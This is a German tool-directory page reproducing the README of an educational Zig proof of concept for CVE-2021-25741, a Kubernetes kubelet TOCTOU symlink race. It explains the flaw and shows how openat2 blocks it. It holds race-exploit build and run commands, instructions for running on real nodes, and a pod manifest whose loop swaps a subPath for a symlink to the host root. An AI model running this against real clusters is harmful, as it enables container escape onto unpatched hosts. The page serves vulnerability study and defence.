Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
ZigRaceExploit — CVE-2021-25741 POC in Zig | Kitploit
Tools/GitHubGitHub/glutenfree69/zigraceexploit
Container-SicherheitSchwachstellenanalyseExploitationCloud-SicherheitLernen & BildungBinary-Exploitation
GitHubglutenfree69/zigraceexploit

ZigRaceExploit

CVE-2021-25741 POC in Zig

Repository anzeigen
4vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-25741 — TOCTOU-Symlink-Race-Exploit in Zig

Bildungs-Exploit der TOCTOU-Race-Condition (Time Of Check, Time Of Use), die die Ursache von CVE-2021-25741 ist, einer Schwachstelle im Kubernetes-Kubelet.

Das Projekt demonstriert lokal (ohne K8s-Cluster), wie ein gleichzeitiger Symlink-Swap eine Pfadprüfung zwischen lstat() und open() umgehen kann, und beweist, dass openat2() mit den Flags RESOLVE_* die Lösung ist.

Inhaltsverzeichnis

  • Das Problem
  • Wie der Exploit funktioniert
  • Code-Architektur
  • Voraussetzungen
  • Build
  • Verwendung
    • Lokaler Test mit Docker
    • Vergleich openat vs openat2
    • Mit der TOCTOU-Verzögerung spielen
    • Test auf einem echten Kubernetes-Knoten
  • Erwartete Ergebnisse
  • Code-Erklärung
  • Verwendete Linux-Syscalls
  • Debugging mit strace
  • Referenzen

Das Problem

Pfadauflösung unter Linux

Wenn der Kernel einen Pfad wie /a/b/c/file auflöst, tut er dies Komponente für Komponente. Bei jedem Schritt, wenn die Komponente ein Symlink ist, folgt der Kernel ihm automatisch. Diese Auflösung ist nicht atomar – das Dateisystem kann sich zwischen zwei Schritten ändern.

TOCTOU im Kubelet

Der Kubernetes-Kubelet verwendete genau dieses anfällige Muster:

root@kitploit:~
1. CHECK : lstat(subPath) → "c'est un répertoire, c'est safe"
     ↕ FENÊTRE DE RACE — un process dans le container swap le répertoire pour un symlink
2. USE   : mount(subPath) → suit le symlink, monte le filesystem host

Zwischen der Überprüfung und dem Mount konnte ein bösartiger Prozess im Container das subPath durch einen Symlink auf / des Hosts ersetzen und so vollständigen Zugriff auf das Host-Dateisystem erhalten.

Der Fix: openat2(2)

Der Syscall openat2 (Kernel 5.6+) löst den Pfad und öffnet die Datei atomar, mit Einschränkungen:

Mit openat2 gibt es kein TOCTOU-Fenster: Wenn während der Auflösung ein Symlink erscheint, schlägt der Syscall sofort fehl.


Wie der Exploit funktioniert

Zwei Threads arbeiten zusammen, um das TOCTOU-Fenster auszunutzen:

root@kitploit:~
workdir/
├── legit_dir/
│   └── secret.txt  → contient "LEGIT"
├── symlink_target/
│   └── secret.txt  → contient "PWNED"
└── target/          → swappé entre vrai dir et symlink

Racer-Thread

Läuft in einer ultraschnellen Schleife und tauscht target/ atomar zwischen zwei Zuständen über renameat2(RENAME_EXCHANGE) aus:

  • Zustand A: target/ ist ein echtes Verzeichnis (enthält secret.txt = "LEGIT")
  • Zustand B: target/ ist ein Symlink auf symlink_target/ (enthält secret.txt = "PWNED")

Ein einziger Syscall pro Tausch = maximales Race-Fenster.

Victim-Thread (simuliert den Kubelet)

Reproduziert das anfällige Muster des Kubelet:

  1. fstatat("target", AT_SYMLINK_NOFOLLOW) — überprüft, dass es ein Verzeichnis ist
  2. Optionale Pause (simuliert die Latenz des Kubelet zwischen Check und Use)
  3. openat(dirfd, "target/secret.txt", O_RDONLY) — öffnet die Datei
  4. read() — liest den Inhalt
  5. Wenn Inhalt == "PWNED" → Race Win (dem Symlink wurde gefolgt)
  6. Wenn Inhalt == "LEGIT" → Race Loss (es war das echte Verzeichnis)

Im geschützten Modus (--use-openat2) verwendet Schritt 3 openat2 mit RESOLVE_NO_SYMLINKS | RESOLVE_BENEATH. Wenn ein Symlink vorhanden ist, gibt der Kernel ELOOP zurück, anstatt ihm zu folgen.


Code-Architektur

root@kitploit:~
src/
├── main.zig       # Einstiegspunkt: parst CLI, erstellt Shared State, startet die
│                  # Threads, misst die Zeit, zeigt Ergebnisse an
│
├── racer.zig      # Racer-Thread: bereitet den Anfangszustand vor (target → symlink),
│                  # schleift dann über renameat2(RENAME_EXCHANGE), um target/ und
│                  # legit_dir/ kontinuierlich zu tauschen
│
├── victim.zig     # Victim-Thread: schleift N Iterationen von fstatat → delay →
│                  # openat/openat2 → read → vergleicht "LEGIT" vs "PWNED"
│
├── setup.zig      # Erstellt die Testverzeichnisstruktur: workdir/, legit_dir/,
│                  # symlink_target/, target/ mit den Sentinel-Dateien
│
├── syscalls.zig   # Konstanten und Wrapper für die rohen Syscalls:
│                  # - open_how-Struktur (Kernel-UAPI, 3×u64)
│                  # - RESOLVE_*-Flags
│                  # - RENAME_EXCHANGE (= 2)
│                  # - openat2() über linux.syscall4(.openat2, ...)
│                  # - rename_exchange() über linux.renameat2()
│                  # - Helfer: is_err(), to_errno(), to_fd()
│
└── stats.zig      # Lock-freie atomare Zähler (std.atomic.Value(u64)) für Wins,
                   # Losses, Errors, ELOOP + formatierte Ausgabe

Alle Syscalls werden direkt über std.os.linux.* aufgerufen (keine Wrapper std.fs oder std.posix). Der einzige Syscall ohne Wrapper in der Zig 0.15 Standardbibliothek ist openat2, den wir über linux.syscall4(.openat2, ...) mit einer manuell aus den UAPI-Headern des Kernels definierten open_how-Struktur aufrufen.


Voraussetzungen

WerkzeugVersionGrund
Zig0.15.xCompiler + Cross-Kompilierung

Das Binär wird statisch kompiliert (musl libc) und läuft auf jedem Linux ohne Abhängigkeiten.

Mindestkernel:

  • 3.15+ für renameat2(RENAME_EXCHANGE)
  • 5.6+ für openat2 mit RESOLVE_* (nur für --use-openat2 erforderlich)

Docker Desktop und colima auf dem Mac verwenden einen Kernel 6.x – alles wird unterstützt.


Build

Cross-Kompilierung Mac → Linux

root@kitploit:~
# ARM64 (Mac M1/M2/M3 → Docker colima / EC2 ARM)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# x86_64 (für x86-Knoten)
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

Das Binär befindet sich in zig-out/bin/race-exploit.

root@kitploit:~
$ file zig-out/bin/race-exploit
ELF 64-bit LSB executable, ARM aarch64, statically linked

Verwendung

Lokaler Test mit Docker

root@kitploit:~
# Docker-Laufzeit starten (falls macOS)
colima start

# Exploit ausführen (Standard: anfälliger Modus)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine /app/race-exploit --iterations 10000

Vergleich openat vs openat2

root@kitploit:~
# Anfälliger Modus (openat) — die Race funktioniert
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000

# Geschützter Modus (openat2) — die Race wird blockiert
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --use-openat2

Oder mit dem Skript, das beide ausführt:

root@kitploit:~
./scripts/run_in_docker.sh --iterations 10000

Mit der TOCTOU-Verzögerung spielen

Der Parameter --delay-us fügt eine Verzögerung zwischen lstat (Check) und openat (Use) hinzu. Je länger die Verzögerung, desto größer das TOCTOU-Fenster und desto höher die Win-Rate:

root@kitploit:~
# Ohne Verzögerung — Win-Rate ~25%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000

# 10µs — Win-Rate ~35%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 10

# 100µs — Win-Rate ~50%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 100

# 1000µs (1ms) — Win-Rate ~50% (gedeckelt, der Racer tauscht viel schneller)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --delay-us 1000

In einem echten Kubelet liegt die Latenz zwischen der Überprüfung des subPath und dem Bind-Mount in der Größenordnung von mehreren Millisekunden (API-Aufrufe, Vorbereitung des Mount-Namespace usw.), was die Race unter realen Bedingungen sehr zuverlässig macht.

Vollständige CLI-Optionen

root@kitploit:~
race-exploit [options]
  --iterations N     Anzahl der Versuche (Standard: 10000)
  --delay-us N       Mikrosekunden zwischen lstat und open (Standard: 0)
  --use-openat2      openat2 mit RESOLVE_* verwenden (geschützter Modus)
  --workdir PATH     Arbeitsverzeichnis (Standard: /tmp/race-workdir)
  --help             Hilfe anzeigen

Test auf einem echten Kubernetes-Knoten

Der Exploit benötigt kein Kubernetes, um zu funktionieren – es ist eine grundlegende Linux-Race-Condition. Du kannst ihn aber auf einem echten Knoten ausführen, um unter den gleichen Bedingungen wie der Kubelet zu testen.

Option 1: Direkt auf einem Knoten ausführen

root@kitploit:~
# Für die Architektur des Knotens cross-kompilieren
# ARM64 (EKS mit Graviton, GKE mit T2A usw.)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# oder x86_64
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

# Binär auf den Knoten kopieren
scp zig-out/bin/race-exploit user@node:/tmp/

# Auf dem Knoten ausführen
ssh user@node /tmp/race-exploit --iterations 50000 --delay-us 100

# Kernel-Version prüfen (>= 5.6 für openat2)
ssh user@node uname -r

Option 2: Von einem Kubernetes-Pod aus starten

Einen Pod erstellen, der das Binär enthält und ausführt:

root@kitploit:~
# race-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: race-exploit
spec:
  containers:
  - name: race
    image: alpine:latest
    command: ["/app/race-exploit"]
    args: ["--iterations", "50000", "--delay-us", "100"]
    volumeMounts:
    - name: exploit-bin
      mountPath: /app
  volumes:
  - name: exploit-bin
    hostPath:
      path: /tmp  # das Binär muss vorher hierhin kopiert werden
  restartPolicy: Never
root@kitploit:~
# Binär zuerst auf den Knoten kopieren
kubectl cp zig-out/bin/race-exploit <node>:/tmp/race-exploit

# Pod starten
kubectl apply -f race-pod.yaml
kubectl logs race-exploit

Option 3: Echte CVE mit subPath reproduzieren

Um das genaue Szenario von CVE-2021-25741 zu reproduzieren, muss die Race ausgenutzt werden, während der Kubelet einen Bind-Mount eines Volumes mit subPath vorbereitet:

root@kitploit:~
# vulnerable-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: subpath-race
spec:
  containers:
  - name: attacker
    image: alpine:latest
    command: ["/bin/sh", "-c"]
    args:
    - |
      # Dieses Skript läuft im Container und tauscht das subPath,
      # während der Kubelet den Mount vorbereitet
      while true; do
        rm -rf /vol/subdir
        ln -s / /vol/subdir
        mkdir -p /vol/subdir
      done
    volumeMounts:
    - name: shared-vol
      mountPath: /vol
      subPath: subdir  # ← der Kubelet überprüft und mountet diesen Pfad
  volumes:
  - name: shared-vol
    emptyDir: {}

Wichtig: Dieser Angriff funktioniert nur auf ungepatchten Kubelets (Versionen < 1.22.2, < 1.21.5, < 1.20.11). Neuere Kubelets verwenden openat2 mit RESOLVE_NO_SYMLINKS, um subPath aufzulösen.

Um zu überprüfen, ob dein Kubelet anfällig ist:

root@kitploit:~
# Version des Kubelet
kubectl get nodes -o wide

# Prüfen, ob openat2 im Kubelet verwendet wird (auf dem Knoten)
ssh user@node strace -f -e trace=openat2 -p $(pidof kubelet) 2>&1 | head -20

Erwartete Ergebnisse

openat (anfällig)

root@kitploit:~
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat (vulnerable)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3749
  Race wins:      940 (25.07%)
  Race losses:    2809 (74.93%)
  Errors:         0 (0.00%)
  Duration:       14ms

openat2 (geschützt)

root@kitploit:~
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat2 (protected)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3105
  Race wins:      0 (0.00%)
  Race losses:    2283 (73.53%)
  Errors:         0 (0.00%)
  ELOOP (blocked): 822 (26.47%)
  Duration:       12ms

Wichtige Beobachtungen:

  • Die "Total attempts" ist geringer als die angeforderten Iterationen, weil viele Schleifendurchläufe übersprungen werden (der lstat sieht einen Symlink und versucht kein open)
  • Im openat-Modus führen ~25% der Versuche zu einem Win (die Datei "PWNED" wird gelesen)
  • Im openat2-Modus 0% Wins – jeder Versuch, bei dem der Racer getauscht hat, wird vom Kernel erkannt, der ELOOP zurückgibt
  • Die ELOOPs entsprechen genau den Wins im openat-Modus: derselbe Prozentsatz, aber blockiert

Code-Erklärung

syscalls.zig — die Grundbausteine

Die Datei definiert die fehlenden Konstanten in der Zig 0.15 Standardbibliothek:

root@kitploit:~
// renameat2(2) : atomarer Tausch zweier Dateisystemeinträge
pub const RENAME_EXCHANGE: u32 = 2;

// openat2(2) : an den Syscall übergebene Struktur
pub const open_how = extern struct {
    flags: u64 = 0,   // O_RDONLY, O_WRONLY usw.
    mode: u64 = 0,    // Berechtigungen (falls O_CREAT)
    resolve: u64 = 0, // RESOLVE_*-Flags
};

// Auflösungsflags für open_how.resolve
pub const RESOLVE_NO_SYMLINKS: u64 = 0x04; // lehnt alle Symlinks ab
pub const RESOLVE_BENEATH: u64 = 0x08;     // verbietet, über den dirfd hinauszugehen

openat2 wird über linux.syscall4(.openat2, ...) aufgerufen, da Zig 0.15 die Syscall-Nummer, aber keinen Wrapper hat.

racer.zig — der Angreifer-Thread

Beim Start wandelt er target/ in einen Symlink auf symlink_target/ um und schleift dann über zwei renameat2(RENAME_EXCHANGE), die target und legit_dir tauschen:

root@kitploit:~
Itération 1: target=dir,     legit_dir=symlink  ← victim voit un dir, ouvre normalement
Itération 2: target=symlink, legit_dir=dir      ← victim suit le symlink → PWNED

victim.zig — der Kubelet-Thread

Reproduziert lstat → delay → openat/openat2 → read → Vergleich. Die Ergebnisse werden in lock-freien atomaren Zählern (fetchAdd mit ordering .monotonic) gezählt.

setup.zig — die Teststruktur

Erstellt die Verzeichnisstruktur mit mkdirat, openat(O_CREAT) und write – alle über rohe Syscalls. Zwei Sentinel-Dateien: "LEGIT" im echten Verzeichnis, "PWNED" im Ziel des Symlinks.


Verwendete Linux-Syscalls


Debugging mit strace

root@kitploit:~
# Alle Syscalls beider Threads verfolgen
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f /app/race-exploit --iterations 100

# Interessante Syscalls filtern
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat,renameat2,symlinkat,newfstatat \
  /app/race-exploit --iterations 100

# ELOOP von openat2 anzeigen
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat2 \
  /app/race-exploit --iterations 100 --use-openat2

Hinweis: strace ist in Alpine nicht standardmäßig installiert. Entweder alpine:edge verwenden oder mit apk add strace installieren:

root@kitploit:~
docker run --rm -v $(pwd)/zig-out/bin:/app alpine:edge \
  sh -c "apk add --no-cache strace && strace -f -e trace=openat,renameat2 /app/race-exploit --iterations 100"

Referenzen

  • CVE-2021-25741 — Kubernetes Issue #104980
  • Google Security Blog — Exploring Container Security: Storage
  • man 2 openat2 — der Fix
  • man 2 renameat2 — atomarer Tausch
  • man 2 fstatat — lstat ohne Symlink-Folgung
  • Symlinks and path resolution — Star Lab

ZigRaceExploit

Tool herunterladen
FlagWirkung
RESOLVE_NO_SYMLINKSWeigert sich, Symlinks zu folgen → gibt ELOOP zurück
RESOLVE_BENEATHWeigert sich, über das Basisverzeichnis hinauszugehen → gibt EXDEV zurück
RESOLVE_IN_ROOTBehandelt den dirfd als Wurzel des Dateisystems
RESOLVE_NO_XDEVWeigert sich, Mountpunkte zu durchqueren
DockerbeliebigZum Ausführen des Linux-Binärs auf dem Mac
colimabeliebigDocker-Laufzeit auf macOS (oder Docker Desktop)
SyscallRolle im ExploitZig-Wrapper
renameat2(RENAME_EXCHANGE)Atomarer Tausch target ↔ legit_dirlinux.renameat2()
fstatat(AT_SYMLINK_NOFOLLOW)lstat: prüft, ob target ein Verzeichnis oder Symlink istlinux.fstatat()
openat(O_RDONLY)Öffnet die Datei unter Verfolgung von Symlinks (anfällig)linux.openat()
openat2(RESOLVE_NO_SYMLINKS)Öffnet die Datei unter Ablehnung von Symlinks (Fix)linux.syscall4(.openat2, ...)
symlinkatErstellt den anfänglichen Symlink target → symlink_targetlinux.symlinkat()
unlinkatLöscht target, bevor es als Symlink neu erstellt wirdlinux.unlinkat()
mkdiratErstellt die Testverzeichnisselinux.mkdirat()
read / write / closeE/A auf den Sentinel-Dateienlinux.read() / linux.write() / linux.close()